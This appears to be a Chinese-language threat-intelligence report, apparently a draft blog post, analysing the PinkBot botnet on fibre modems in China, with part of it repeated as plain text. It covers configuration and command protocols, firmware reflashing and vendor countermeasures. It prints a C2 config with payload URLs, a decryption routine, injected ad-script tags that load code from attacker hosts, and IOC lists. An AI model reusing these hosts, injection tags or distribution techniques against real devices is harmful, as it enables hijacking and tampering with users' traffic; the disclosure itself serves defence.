<li>PinkBot 架构设计具备很好的健壮性，它能够通过多种方式（通过第三方服务分发配置信息/通过 P2P 方式分发配置信息/通过 CNC 分发配置信息）自发寻址控制端，并对控制端通信有完备的校验，确保僵尸节点不会因某一个环节的阻杀而丢失或被接管；甚至对光猫固件做了多处改动后，还能确保光猫能够正常使用；</li>
<li>PinkBot对部分域名的解析查询采取了 DNS-Over-HTTPS 的方式，这个也是在传统BotNet中不太常见的一种手段；</li>
<li>在与相关厂商的屡次攻防博弈中，PinkBot 的运营者都占据了明显的对抗优势。</li>
</ol>
<p>可以说，PinkBot 在整个过程中表现出了极强的针对性和专业性，各方面能力都很均衡，甚至有些可怕。</p>
<h1 id="">规模及影响范围</h1>
<p>我们通过对多个数据源的交叉对比，推测 PinkBot 的感染量在百万量级。三个评估的数据源如下：</p>
<ol>
<li>2019-11-30我们从可信任的安全伙伴手里拿到一个统计数字，日活去重 1,962,308 个IP;</li>
<li>2020-01-02从CNCERT拿到的统计结果：<br>
<code>“该僵尸网络的规模目前无法准确测算。根据NetFlow数据、主动探测数据、实时监测数据等多个维度的数据测算，该僵尸网络关联的Bot节点IP地址数量超过500万。对这些IP地址的定位数据进行统计发现，IP主要为联通的家庭宽带用户地址。因家庭宽带IP是动态分配的，背后的真实感染设备规模无法精确估计，推测实际感染设备数量在百万级，测算的一个主要依据为曾监测到1分钟内连接C2的IP数量超过百万。”</code></li>
<li>根据我们 (360NetLab) 在全网范围内持续探测的数据评估，2020-01-08 当天活跃的受感染 IP 数量为 165 万。</li>
</ol>
<p>在我们全网探测的测量数据中，受感染的 IP 主要集中在中国 (96%)，遍及全国 33 个省。受影响的运营商主要涉及中国联通（>80%）和中国电信（>15%）。</p>
<p>目前已确认有三款设备受到影响：TEWA-800E，KD-YUN-811E 和 ipTIME-N904NS。</p>
<h1 id="pinkbot">PinkBot 技术架构</h1>
<p>PinkBot是一个同时融合了“P2P”和“CNC”的混合结构僵尸网络。一般情况下，它将时效性要求不高的指令（如管理配置信息）通过P2P的方式传递，将时效性要求较高的指令通过CNC模式集中分发（例如：发起ddos攻击，向用户访问的HTTP网站中插广告）。</p>
<h2 id="">配置信息</h2>
<p>对于每一个Bot来说，最重要的一步是找到自己的管理员。而管理员的信息就包含在“配置”之中，下面是最新截获的配置信息：</p>
<pre><code>{
"verify": "1585065675",
"cncip1": "144.202.109.110",
"cncport1": "32876",
"dlc": "5b62596bc1453d51cc7241086464f294",
"dl": "http【:】//155.138.140.245/dlist.txt",
"dlc1": "484417e6f65c8e18e684d60c03c4680a",
"dl1": "https【:】//gitee.com/johncase/zip/raw/master/dlist.txt",
"sd0": "1.1.1.1",
"sdp0": "443",
"srvk": "FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy": "1"
}
</code></pre>
<ol>
<li>其中 verify 字段为指令发布的时间戳，Bot会根据这个时间戳筛选出最新的有效指令。</li>
<li>随后的 cncip 和 cncport 字段指明了僵尸网络的最新CNC地址，攻击者会根据自身需求随时切换这个控制地址。</li>
<li>再随后的“dlc/dl”和 “dlc1/dl1” 字段组为最新的Bot更新地址，其中dlc和dlc1为对应内容的Hash校验字段，算法伪代码为：MD5(MD5(dlist_content)+SHA256(dlist_content))。</li>
<li>“sd0/sdp0”字段为安全DNS地址，对于每一个Bot来说，当需要查询DNS解析记录时，将通过这里指定的DNS服务来查询。且方式为DNS-Over-HTTPS。</li>
<li>srvk字段为服务端的公钥内容（base64编码）。对于每一个bot来说，它和CNC的通讯都是加密的。所以实际通讯前要先经过ECDH的密钥协商得到一个唯一的私钥。在这里指定了CNC端的公钥后，还可以顺带完成了Bot对CNC身份的验签。这是对原有 ECDH 的扩展使用。</li>
<li>pxy字段，推测是一个代理上线的选项。目前没有看到使用迹象，不清楚具体的工作逻辑。</li>
</ol>
<h3 id="">配置信息的保护</h3>
<p>通过上一节的介绍，不难发现“配置信息”其实就是这个僵尸网络的核心，它保证了攻击者对僵尸网络的绝对控制能力。<br>
为了防止其他人发现配置信息，传递的配置信息都是异或加密过的密文。异或加解密算法是对称的，其解密代码逻辑如下：</p>
<pre><code>def easydecrpyt(message):
res = ""
for cursor in range(0, len(message)):
mbt = ord(message[cursor])
res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))
return res
</code></pre>
<p>信息加密后，为了防止他人伪造。攻击者还使用了ecdsa对配置信息进行了签名，签名细节如下：</p>
<ol>
<li>签名校验使用的密码库为 mbedtls；</li>
<li>签名算法为 ECDSA；</li>
<li>签名时使用的曲线为：MBEDTLS_ECP_DP_SECP192R1；</li>
<li>验签所用公钥为： <code>04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E</code></li>
</ol>
<h3 id="">配置信息的分发</h3>
<p>除了保证配置信息的机密性和完整性外，攻击者还使用了多种手段来分发配置信息，以确保其可用性。</p>
<h4 id="a">a) 通过第三方服务分发配置信息</h4>
<ol>
<li>通过 BTC+GITHUB 分发配置信息</li>
</ol>
<p>该分发渠道的核心是一个隐藏在GITHUB上的项目，比如最近一次看到的项目就是（mypolo111/vfg），可以看到这个项目的README中，有两行内容。</p>
<p><img src="__GHOST_URL__/content/images/2019/11/pink_readme.png" alt="" loading="lazy"></p>
<p>其中，模式为<code>P!!<base64>I!!</code>行是配置签名，模式为<code>N!!<base64>K!!</code>行是配置信息的密文。</p>
<p>但对于每一个Bot来说，想要找到这个隐藏项目却很复杂。最初，先从一个固定的BTC钱包[<code>1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF</code>] 的转账记录生成一个 topic 标签，在逆向样本相关代码之后，我还原了这个过程，如下图所示（BTC钱包的查询用到了四个web服务，具体的地址也如图中所示）：</p>
<p><img src="__GHOST_URL__/content/images/2019/11/image.png" alt="" loading="lazy"></p>
<p>对于每一个可能的topic标签，都有很多相关的github项目。遍历这些项目的ISSUES，寻找一个格式为 <code>...!<base64>...?</code> 的字串，比如我们最近找到的一个就是 <code>...!L215cG9sbzExMS92Zmc=...?</code> 将这个base64 还原，就是隐藏项目的地址了 <code>mypolo111/vfg</code></p>
<p>再通过搜索 GITHUB 的 Topics 和 ISSUES，找到那个隐藏的GIT项目。</p>
<p>另：mypolo111 这个账号在多个项目中提交过ISSUES，相关截图如下所示：</p>
<p><img src="__GHOST_URL__/content/images/2019/11/mypolo111_issues.png" alt="" loading="lazy"></p>
<p>PS：在这一套寻址逻辑下，攻击者可以通过为 “特定BTC钱包” 增加交易记录的方式，来切换最终找到的 GITHUB 项目。在这样的前提下须封掉指定BTC钱包才能破坏这个僵尸网络以 GITHUB 为主的分发逻辑。</p>
<ol start="2">
<li>通过 百度tieba 分发配置信息</li>
</ol>
<p>攻击者在少部分样本中还尝试利用“百度tieba”分发配置信息，这一部分的逻辑和利用GITHUB分发的逻辑相似。</p>
<h4 id="bp2p">b) 通过 P2P 方式分发配置信息</h4>
<ol>
<li>P2P-Over-UDP123 分发配置信息</li>
</ol>
<p>Bot节点运行后，会在本地监听 UDP-123 端口，该端口原本是NTP服务默认端口，所用的协议也具有一定的迷惑性。一段时间后，会向公网的四个B段地址（"114.25.0.0/16"，"36.227.0.0/16"，"59.115.0.0/16"，"1.224.0.0/16"）发起 Peer 探测请求，内容为 <code>1C 00 00 00</code> 当目标为正常的 NTP 服务器时会得到 NTP 时间，而如果目标为一个Bot节点时，则有两种回复：</p>
<ul>
<li>当目标Bot未取得主控信息时回复 <code>1D 00 00 00</code>；</li>
<li>当目标Bot拿到主控信息时，会将主控信息的签名和相应密文回复，发送前，会在信息头补充 0xE3 字节。</li>
</ul>
<p>下图是最近捕获到的UDP-123 传递的配置信息。</p>
<p><img src="__GHOST_URL__/content/images/2020/03/UDP-123-hexdata.png" alt="UDP-123-hexdata" loading="lazy"></p>
<ol start="2">
<li>通过 P2P-Over-TCP 分发配置信息</li>
</ol>
<p>Bot 节点运行后，还会在本地监听一个 TCP 端口，且端口号是通过其公网 IP 计算后得到的，代码如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2020/01/p2p_getport_byip.png" alt="" loading="lazy"></p>
<p>交互协议的格式同UDP123上的相同。</p>
<h4 id="ccnc">c) 通过 CNC 分发配置信息</h4>
<p>攻击者在部分样本中内置了一个域名 cnc.pinklander.com ，当该域名启用后，会展示一个web页面，页面内容和GITHUB项目的内容相同。也是base64 编码后的配置信息。</p>
<h2 id="pinkbot">PinkBot 指令</h2>
<h3 id="">指令格式</h3>
<p>每条指令至少包含7字节，含义依此如下：</p>
<ol>
<li>Token字段，长度4字节，该字段值由服务器端指定，指定后将一直使用这个值。设置方式为：Bot启动后首先会向CC发送新生成的ECDH的公钥，此刻Token为0，当服务端接受后，会分配一个Token值给Bot，这就算指定成功了。</li>
<li>指令字段，长度1字节。CC发出指令后，Bot也要用相同的指令码把执行结果返回。</li>
<li>内容长度字段，长度2字节。当指令不包含具体内容时，设置为零，否则这里填充内容的字节长度数，并追加密文内容。</li>
<li>指令内容。当指令包含内容时，此处填写密文的指令内容。解密方法请继续向下阅读。</li>
</ol>
<p>这里附上一张截图供参阅，其中红框标记的就是指令字段：</p>
<p><img src="__GHOST_URL__/content/images/2020/03/Snip20191130_9.png" alt="Snip20191130_9" loading="lazy"></p>
<h3 id="">指令传输方式</h3>
<h4 id="a">a) 通讯加密</h4>
<p>上述配置信息中的 cncip1 和 cncport1 便是攻击者实际使用的主控节点。PinkBot 连接到 cnc 后将通过密钥交换方式来做加密通信，细节如下：</p>
<ol>
<li>使用的密码学库为：<code>mbedtls</code>;</li>
<li>密钥交换阶段使用的交换算法 <code>ecdh</code>，加载曲线为 <code>MBEDTLS_ECP_DP_CURVE25519</code>;</li>
<li>服务端ECDH公钥前期为硬编码在样本中，跟踪后期，则改为在配置信息中指定。但内容没有变化过：<code>14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D</code></li>
<li>报文加密/解密阶段使用的算法为 <code>aes</code>, key 为密钥交换后的secret，加载参数为 <code>MBEDTLS_AES_ENCRYPT</code> 和<code>MBEDTLS_AES_DECRYPT</code>;</li>
<li>在ECDH的标准中，一般双方的公私钥是每次都要重新生成。但在 PinkBot 中，却只要求了 Bot 侧每次不同，而服务端则指定一对固定的公私钥。这种内置服务端公钥的方式，就等于让 Bot 有能力对 CNC 进行身份验证，从而杜绝了通讯过程被中间人攻击的可能性。</li>
</ol>
<h4 id="b">b) 指令内容编码</h4>
<p>为了能够同时适配 mipsb/mipsl 机型中字节序列的分布不同，传输的内容其实是经过开源库<a href="https://github.com/nanopb/nanopb">nanopb</a> 转化后的内容，这个库可以通过约定模版的方式来抽象序列化和反序列化的过程，从而忽略掉大/小端内存的干扰。</p>
<h3 id="">指令功能</h3>
<p>PinkBot 指令具有丰富的控制能力：</p>
<blockquote>
<ol>
<li>文件下载</li>
<li>系统命令执行</li>
<li>DDoS攻击（HTTP攻击和 UDP 攻击）</li>
<li>扫描功能（扫描的具体内容可以通过指令设置）</li>
<li>汇报设备信息（CPU/系统类型/内存信息/系统版本/硬件信息）</li>
<li>自身更新（将新版本保存到 /tmp/client 后运行）</li>
<li>P2P节点列表同步（直接推送一组P2P节点到Bot）</li>
<li>http报文注入广告（在受害设备上，嗅探交互报文，遇到http网页时，插入广告js脚本）</li>
<li>启动sock5代理服务（在Bot端架设 Socks5 代理服务，账号密码通过指令设置）</li>
<li>下载文件并执行</li>
<li>停止攻击</li>
<li>重置watchdog</li>
</ol>
</blockquote>
<h2 id="pinkbot">PinkBot 持久化方式</h2>
<p>与我们常见到的 botnet 不同，PinkBot 为了保持对感染设备的绝对控制权，会在感染光猫后，重新刷写原有的光猫固件。在刷写后的固件中，包含了 PinkBot 的下载器母体和配套的启动程序。</p>
<p>下图是被感染后新增/修改的文件列表：</p>
<p><img src="__GHOST_URL__/content/images/2020/03/pink_flash_tree_diff.png" alt="pink_flash_tree_diff" loading="lazy"></p>
<p>其中tmp目录的内容可以暂时忽略，这是样本运行中生成的临时文件。</p>
<p>关键文件说明：</p>
<ul>
<li>/bin/protect：<code>md5:9ec5bd857b998e60663e88a70480b828</code></li>
</ul>
<p>protect 文件是被刷写固件中的Bot母本。文件中未发现收益类功能，换句话说它更像是一个下载器，在这个样本中可以看到以上5种获取配置信息的代码。它最主要的功能，就是启动后会从配置信息中拿到最新的样本并把它们运行起来。</p>
<ul>
<li>/bin/tr69c: <code>md5:451a3cf94191c64b5cd1be1a80be7799</code></li>
</ul>
<p>tc69c 文件是光猫原始固件中 tr69c 的一个patch版本。通过对比分析，发现该patch主要移除了光猫的更新功能。也就是说，被刷写的光猫，将无法通过 tr69c 进行固件升级。这应该是攻防对抗中引入的持久化操作。</p>
<h1 id="pinkbot">PinkBot 规模评估与指令跟踪</h1>
<h2 id="">规模评估</h2>
<p>前面提到，每个受感染的 PinkBot 都会通过 udp 123 端口以 p2p 方式来分发配置信息。利用这个特性，我们在全网范围内对 PinkBot 的感染量进行了持续评估（评估数据统计那堆表要不要列一波？）。</p>
<h2 id="">指令跟踪</h2>
<p>我们通过模拟 PinkBot 来实时接收CNC主控分发的指令。<br>
除了日常的维护类指令（心跳指令/peerlist同步指令）外，我们还收到了多条向WEB网页插入广告的指令，例如：</p>
<pre><code><script async src="http【:】//45.32.21.251/j/?$$"></script>
<script async src="http【:】//167.179.80.159/j/?$$"></script>
<script async src=“http【:】//114.55.124.13/j/?$$“></script>
</code></pre>
<h1 id="pinkbot">番外：与 PinkBot 对抗的那些事儿</h1>
<p>在对 PinkBot 僵尸网络分析跟踪的过程中。我们注意到，攻击者和相关厂商进行了多次的攻防对抗。<br>
这一章节将简单梳理下我们了解到的与 PinkBot 攻防对抗的尝试。</p>
<h2 id="">设备厂商的对抗（此章节涉及到厂商利益，慎重公开）</h2>
<p>根据一个涉事厂商（四川天邑）提供的信息，对抗最早发生在 2019 年 11 月中旬。受攻击的漏洞源于一个 TCP-17998 的管控服务，该服务是对运营商提供的一个管理家用光猫的接口。由于服务配置和实现的失误，向公网开放了访问权限，攻击者通过它获取了相关光猫的控制权。</p>
<p><em>第一次对抗</em>: 厂商在发现这个问题后，开始试图在公网上通过相同的漏洞，修复自家设备。但很快就被攻击者发现并马上采取行动，通过 iptables 关闭了 TCP-17998 的外网访问能力，从设备内部阻止了厂商的进一步修复。</p>
<p><em>第二次对抗</em>：此次攻防的焦点在 tr069 升级通道。厂商从运营商侧可以在设备启动瞬间利用 tr096 进去修复设备。然而此次攻击者仍然在第一时间察觉到问题，并迅速更新固件关掉了tr096 的更新通道。</p>
<p><em>第三次对抗</em>：厂商又尝试利用设备上 LAN 侧的 TCP-80 HTTP 服务来进行设备修复，然而，同样的结局，攻击者很快又更新固件把设备上的 HTTP 服务文件干掉了。至此，所有的光猫都成了网络孤岛，它们只能提供终端用户的正常网上冲浪的能力，却再没有网络端口可以供外侧管理访问。</p>
<p><em>最后的方案</em>：厂商已经完全没有还击的筹码了。如果要修复这些孤岛，只能派人入户接触光猫，拆解出调试接口或者干脆为用户更换光猫。</p>
<p><em>复盘总结</em>：设备厂商与攻击者多轮的攻防对抗中，双方的信息和能力是不对等的。厂商在无法获知全网受害情况的前提下，从互联网上一个IP一个IP的发现设备/修复设备。而攻击者通过集中C&C的机制，统一下发关服务指令。虽然，厂商修复了一部分设备得到了局部胜利，但攻击者仍然保住了大部分胜利果实获取了全局胜利。</p>
<h2 id="github">GITHUB 封相关账号</h2>
<p>我们在实际跟踪中通过残留的早期指令发现，PinkBot 至少已经存在一年以上了，最早可以追溯到 2018年10月16日，当时使用的 github 帐号为 pink78day（这个账号早就已经看不到了，我们通过搜索Google的网页快照服务追溯）。</p>
<p><img src="__GHOST_URL__/content/images/2020/03/pink78day.png" alt="pink78day" loading="lazy"></p>
<p>目前 PinkBot 使用的帐号是 2019年11月下旬注册的 mypolo111，而 pink78day 这个账号已经无法在 Github 上搜索到，所以我们推测，Github 在发现这个项目后对帐号采取了屏蔽措施，而最近一次攻防也就发生在 2019年11下旬 PinkBot 换帐号这个时间点。</p>
<p><em>复盘总结</em>：对于GITHUB来说，PinkBot 数量巨大，且访问的项目是一个明显恶意的项目，会消耗较多的服务资源，于情于理，GITHUB 都要封杀这个僵尸网络。问题在于，他们误认为 pink78day 是一个集中分发指令的渠道，以为单纯封杀这个账号就没事了。但事实上，这个账号只是一个相对下游的控制手段。攻击者通过增加BTC钱包的交易记录就可以瞬间将Bot重定向到一个新的账号上。消耗资源的问题依然存在，此次攻防无所谓成功失败。Nice try.</p>
<h1 id="ioc">IOC</h1>
<h2 id="cc">C&C地址</h2>
<p>通过长期跟踪，攻击者使用过的CNC地址有：</p>
<pre><code>cnc.pinklander[.]com
144.202.109.110:32876
207.148.70.25:12368
45.32.125.150:12368
45.32.125.188:12368
45.32.174.105:12368
5.45.79.32:12368
</code></pre>
<p><strong>PS</strong>: 其中 cnc.pinklander.com 在2019年12月28日，已经被我们的DNSMon系统自动识别并加黑处理了。</p>
<h2 id="">同步服务</h2>
<p>PinkBot 会通过HTTP服务同步样本，用于更新或扩大感染。所用的HTTP服务有一些是公有服务，有一些是临时建立的HTTP服务。<br>
在长期的跟踪中，我们确定至少存在以下URL被用于样本同步。这些URL均提取自 PinkBot 的<code>配置信息</code>中。</p>
<pre><code>http[:]//1.198.50.63:1088/dlist.txt
http[:]//1.63.19.10:19010/var/sss/dlist.txt
http[:]//104.207.142.132/dlist.txt
http[:]//108.61.158.59/dlist.txt
http[:]//111.61.248.32:1088/dlist.txt
http[:]//112.26.43.199:81/dlist.txt
http[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt
http[:]//117.131.10.102:1088/d/dlist.txt
http[:]//123.13.215.89:8005/d/dlist.txt
http[:]//125.74.208.220:81/dlist.txt
http[:]//140.82.24.94/dlist.txt
http[:]//140.82.30.245/d/dlist.txt
http[:]//144.202.38.129/dlist.txt
http[:]//149.28.142.167/p/dlist.txt
http[:]//149.28.142.167/p1/dlist.txt
http[:]//155.138.140.245/dlist.txt
http[:]//167.179.110.44/dlist.txt
http[:]//173.254.204.124:81/dlist.txt
http[:]//182.139.215.4:82/dlist.txt
http[:]//207.148.4.202/dlist.txt
http[:]//218.25.236.62:1987/d/dlist.txt
http[:]//218.25.236.62:1988/d/dlist.txt
http[:]//222.216.226.29:81/dlist.txt
http[:]//45.32.26.220/dlist.txt
http[:]//45.76.104.146/dlist.txt
http[:]//45.77.165.83/p1/dlist.txt
http[:]//45.77.198.232/p1/dlist.txt
http[:]//45.88.42.38/p1/dlist.txt
http[:]//61.149.204.230:81/dlist.txt
http[:]//66.42.114.73/dlist.txt
http[:]//66.42.67.148/dlist.txt
http[:]//8.6.193.191/dlist.txt
https[:]//fse7.oss-cn-shanghai.aliyuncs.com/dlist.txt
https[:]//fys6y.oss-cn-shanghai.aliyuncs.com/dlist.txt
https[:]//gitee.com/b9g/zt/raw/master/dlist.txt
https[:]//gitee.com/bg64/gy/raw/master/dlist.txt
https[:]//gitee.com/bg64/xt/raw/master/dlist.txt
https[:]//gitee.com/d3fg/su/raw/master/dlist.txt
https[:]//gitee.com/fe354/xx/raw/master/dlist.txt
https[:]//gitee.com/fh8y/i9/raw/master/dlist.txt
https[:]//gitee.com/g6y/qu/raw/master/dlist.txt
https[:]//gitee.com/g7u/hi/raw/master/dlist.txt
https[:]//gitee.com/gb7e/sh/raw/master/dlist.txt
https[:]//gitee.com/ggf2/zt/raw/master/dlist.txt
https[:]//gitee.com/ji9/zg/raw/master/dlist.txt
https[:]//gitee.com/johncase/zip/raw/master/dlist.txt
https[:]//gitee.com/k9o/st/raw/master/dlist.txt
https[:]//gitee.com/k9o/u8/raw/master/dlist.txt
https[:]//gitee.com/mh8i/zt/raw/master/dlist.txt
https[:]//gitee.com/nick908/hello/raw/master/dlist.txt
https[:]//gitee.com/nick908/sc/raw/master/dlist.txt
https[:]//gitee.com/s7y/xx/raw/master/dlist.txt
https[:]//gitee.com/t9i/y7/raw/master/dlist.txt
https[:]//gitee.com/u8i/fo/raw/master/dlist.txt
https[:]//gitee.com/ujh5/ho/raw/master/dlist.txt
https[:]//gitee.com/vd5/y8/raw/master/dlist.txt
https[:]//gitee.com/vd5/y9/raw/master/dlist.txt
https[:]//gitee.com/vr6/sh/raw/master/dlist.txt
https[:]//gitee.com/y7u/bh/raw/master/dlist.txt
https[:]//gitee.com/y7u/eg/raw/master/dlist.txt
https[:]//gitee.com/y7u/lp/raw/master/dlist.txt
https[:]//gitee.com/y7u/rt/raw/master/dlist.txt
https[:]//gitee.com/y7u/xc/raw/master/dlist.txt
https[:]//hj9o.oss-cn-hangzhou.aliyuncs.com/dlist.txt
https[:]//hjis.oss-cn-beijing.aliyuncs.com/dlist.txt
https[:]//kol5.oss-cn-beijing.aliyuncs.com/dlist.txt
https[:]//n609.coding.net/p/t/d/t/git/raw/master/dlist.txt
https[:]//okp9.oss-cn-beijing.aliyuncs.com/dlist.txt
https[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt
</code></pre>
<h2 id="md5">MD5</h2>
<p>通过跟踪获取到的相关样本（ELF）汇总如下：</p>
<pre><code>9ec5bd857b998e60663e88a70480b828 /bin/protect
451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c
06d6ad872e97e47e55f5b2777f78c1ba slient_l
07cd100c7187e9f4c94b54ebc60c0965 slient_b
0f25b0d54d05e58f5900c61f219341d3 client_b
0f89e43ea433fdfd18a551f755473388 slient_l
1197994610b2ffb60edbb5ab0c125bc0 client_b
167364ad0d623d17332f09dbb23a980e client_b
175b603082599838d9760b2ab264da6f slient_l
1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l
229503686c854bb39efdc84f05b071b9 slient_b
25a07e3ef483672b4160aa12d67f5201 client_l
262a4e242c9ebeba79aa018d8b38d229 client_l
29d0afd2a244c9941976ebf2f0f6597f client_l
2befedd020748ff6d9470afad41bd28c slient_b
2ca5810744173889b2440e4f25b39bd4 client_l
36e48e141943a67c6fdeaa84d7af21cc client_b
3a620ff356686b461e0e1a12535bea24 slient_l
41bbe8421c0a78067bae74832c375fe8 slient_l
45ee78d11db54acfdda27c19e44c3126 client_l
4830c3950957093dac27d4e87556721e slient_l
484761f281cb2e64d9db963a463efca5 client_l
48a7f2799bf452f10f960159f6a405d3 client_l
494412638dc8d573172c1991200e1399 client_l
4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b
50270de8d5783bb0092bf1677b93c97b slient_l
54aa9e716567bd0159f4751916f7f0d1 client_l
5ae1fec20c2f720269c2dc94732187e8 slient_b
5b62a9bd3431c2fd55283380d81c00fa client_b
5c322610e1845d0be9ccfc8a8b6a4c4f client_l
5c4f8dae67dad8cac141afa00847b418 slient_b
5d0d034845bd69179bf678104c046dc1 client_b
60658ef214c960147200d432eece3e13 slient_l
60a2b1bb02a60ac49f7cc1b47abdf60c client_l
610f0aadba3be1467125607bf2ba2aaf slient_l
66a068fd860bda7950fde8673d1b5511 client_b
6c4de9bd490841f0a6c68638f7253c65 client_b
72c531a813b637af3ea56f288d65cdb7 slient_b
7608b24c8dcf3cd7253dbd5390df8b1f client_b
7645a30a92863041cf93a7d8a9bfba1a client_b
857fc3c7630859c20d35d47899b75699 slient_b
861af6b5a3fea01f2e95c90594c62e9d client_l
8e86be3be36094e0f5b1a6e954dbe7c2 client_l
8fbcd7397d451e87c60a0328efe8cd5d client_b
987a9befb715b6346e7ad0f6ac87201f slient_b
9eb147e3636a4bb35f0ee1540d639a1b slient_b
aa2fc46dd94cbf52aef5e66cdd066a40 client_l
ae8b519504afc52ee3aceef087647d36 slient_b
b0202f1e8bded9c451c734e3e7f4e5d8 slient_b
b6f91ad027ded41e2b1f5bea375c4a42 slient_b
b9935859b3682c5023d9bcb71ee2fece slient_b
b9d1c31f59c67289928e1bb7710ec0ba client_l
bec2f560b7c771d7066da0bee5f2e001 client_b
c2efa35b34f67a932a814fd4636dd7cb slient_l
c839aff2a2680fb5676f12531fecba3b slient_b
c94504531159b8614b95c62cca6c50c9 slient_l
dfe0c9d36062dd3797de403a777577a6 client_b
e19a1106030e306cc027d56f0827f5ce slient_l
f09b45daadc872f2ac3cc6c4fe9cff90 client_b
f5381892ea8bd7f5c5b4556b31fd4b26 client_b
f55ad7afbe637efdaf03d4f96e432d10 slient_b
f62d4921e3cb32e229258b4e4790b63a client_b
f81c8227b964ddc92910890effff179b slient_b
fc5b55e9c6a9ddef54a256cc6bda3804 client_b
fe8e830229bda85921877f606d75e96d slient_l
fee6f8d44275dcd2e4d7c28189c5f5be client_l
</code></pre>
<!--kg-card-end: markdown--> | 概述
2019年11月21日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，相关样本中包含大量以 pink 为首的函数名，所以我们称之为 PinkBot。
Pinkbot 是我们六年以来观测到最大的僵尸网络，其攻击目标主要是 mips 光猫设备，已知总感染量超过160万，其中 96% 位于中国。
PinkBot 具有很强的技术能力：
1. PinkBot 架构设计具备很好的健壮性，它能够通过多种方式（通过第三方服务分发配置信息/通过 P2P 方式分发配置信息/通过 CNC 分发配置信息）自发寻址控制端，并对控制端通信有完备的校验，确保僵尸节点不会因某一个环节的阻杀而丢失或被接管；甚至对光猫固件做了多处改动后，还能确保光猫能够正常使用；
2. PinkBot对部分域名的解析查询采取了 DNS-Over-HTTPS 的方式，这个也是在传统BotNet中不太常见的一种手段；
3. 在与相关厂商的屡次攻防博弈中，PinkBot 的运营者都占据了明显的对抗优势。
可以说，PinkBot 在整个过程中表现出了极强的针对性和专业性，各方面能力都很均衡，甚至有些可怕。
规模及影响范围
我们通过对多个数据源的交叉对比，推测 PinkBot 的感染量在百万量级。三个评估的数据源如下：
1. 2019-11-30我们从可信任的安全伙伴手里拿到一个统计数字，日活去重 1,962,308 个IP;
2. 2020-01-02从CNCERT拿到的统计结果：
“该僵尸网络的规模目前无法准确测算。根据NetFlow数据、主动探测数据、实时监测数据等多个维度的数据测算，该僵尸网络关联的Bot节点IP地址数量超过500万。对这些IP地址的定位数据进行统计发现，IP主要为联通的家庭宽带用户地址。因家庭宽带IP是动态分配的，背后的真实感染设备规模无法精确估计，推测实际感染设备数量在百万级，测算的一个主要依据为曾监测到1分钟内连接C2的IP数量超过百万。”
3. 根据我们 (360NetLab) 在全网范围内持续探测的数据评估，2020-01-08 当天活跃的受感染 IP 数量为 165 万。
在我们全网探测的测量数据中，受感染的 IP 主要集中在中国 (96%)，遍及全国 33 个省。受影响的运营商主要涉及中国联通（>80%）和中国电信（>15%）。
目前已确认有三款设备受到影响：TEWA-800E，KD-YUN-811E 和 ipTIME-N904NS。
PinkBot 技术架构
PinkBot是一个同时融合了“P2P”和“CNC”的混合结构僵尸网络。一般情况下，它将时效性要求不高的指令（如管理配置信息）通过P2P的方式传递，将时效性要求较高的指令通过CNC模式集中分发（例如：发起ddos攻击，向用户访问的HTTP网站中插广告）。
配置信息
对于每一个Bot来说，最重要的一步是找到自己的管理员。而管理员的信息就包含在“配置”之中，下面是最新截获的配置信息：
{
"verify": "1585065675",
"cncip1": "144.202.109.110",
"cncport1": "32876",
"dlc": "5b62596bc1453d51cc7241086464f294",
"dl": "http【:】//155.138.140.245/dlist.txt",
"dlc1": "484417e6f65c8e18e684d60c03c4680a",
"dl1": "https【:】//gitee.com/johncase/zip/raw/master/dlist.txt",
"sd0": "1.1.1.1",
"sdp0": "443",
"srvk": "FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy": "1"
}
1. 其中 verify 字段为指令发布的时间戳，Bot会根据这个时间戳筛选出最新的有效指令。
2. 随后的 cncip 和 cncport 字段指明了僵尸网络的最新CNC地址，攻击者会根据自身需求随时切换这个控制地址。
3. 再随后的“dlc/dl”和 “dlc1/dl1” 字段组为最新的Bot更新地址，其中dlc和dlc1为对应内容的Hash校验字段，算法伪代码为：MD5(MD5(dlist_content)+SHA256(dlist_content))。
4. “sd0/sdp0”字段为安全DNS地址，对于每一个Bot来说，当需要查询DNS解析记录时，将通过这里指定的DNS服务来查询。且方式为DNS-Over-HTTPS。
5. srvk字段为服务端的公钥内容（base64编码）。对于每一个bot来说，它和CNC的通讯都是加密的。所以实际通讯前要先经过ECDH的密钥协商得到一个唯一的私钥。在这里指定了CNC端的公钥后，还可以顺带完成了Bot对CNC身份的验签。这是对原有 ECDH 的扩展使用。
6. pxy字段，推测是一个代理上线的选项。目前没有看到使用迹象，不清楚具体的工作逻辑。
配置信息的保护
通过上一节的介绍，不难发现“配置信息”其实就是这个僵尸网络的核心，它保证了攻击者对僵尸网络的绝对控制能力。
为了防止其他人发现配置信息，传递的配置信息都是异或加密过的密文。异或加解密算法是对称的，其解密代码逻辑如下：
def easydecrpyt(message):
res = ""
for cursor in range(0, len(message)):
mbt = ord(message[cursor])
res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))
return res
信息加密后，为了防止他人伪造。攻击者还使用了ecdsa对配置信息进行了签名，签名细节如下：
1. 签名校验使用的密码库为 mbedtls；
2. 签名算法为 ECDSA；
3. 签名时使用的曲线为：MBEDTLS_ECP_DP_SECP192R1；
4. 验签所用公钥为： 04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E
配置信息的分发
除了保证配置信息的机密性和完整性外，攻击者还使用了多种手段来分发配置信息，以确保其可用性。
